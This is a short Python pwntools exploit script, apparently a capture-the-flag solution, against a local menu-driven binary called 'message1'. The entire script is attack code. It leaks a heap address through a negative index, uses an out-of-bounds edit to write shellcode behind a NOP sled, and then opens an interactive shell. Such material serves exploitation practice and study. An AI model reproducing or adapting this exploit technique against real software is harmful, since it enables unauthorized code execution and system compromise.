1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
context(os='linux',arch='amd64') sh = process('./message1')
new_got = 0x00000000006040F0
def add(count,string): sh.sendlineafter('>>','1') sh.sendlineafter('add?',str(count)) for i in range(count): sh.sendlineafter('message',string)
def delete(index): sh.sendlineafter('>>','2') sh.sendlineafter('index:',str(index))
def show(): sh.sendlineafter('>>','3')
def edit(index,count,string): sh.sendlineafter('>>','4') sh.sendlineafter('index:',str(index)) sh.sendlineafter('add?',str(count)) for i in range(count): sh.sendlineafter('message',string)
add(1,'a'*0x8) edit(-3,1,'a'*0x8) show() sh.recvuntil('0:') sh.recvuntil('0:') heap_addr = u64(sh.recv(6).ljust(8,'\x00')) print 'heap_addr=',hex(heap_addr) offset = (heap_addr - 0x20 - new_got) / 8 edit(0,4,'\x00'*0x18) edit(0,1,'\x00'*0x18)
edit(-1*offset,1,(asm(shellcraft.sh())).rjust(0x10000,'\x90'))
sh.sendlineafter('>>','1') sh.sendlineafter('add?','1')
sh.interactive()
|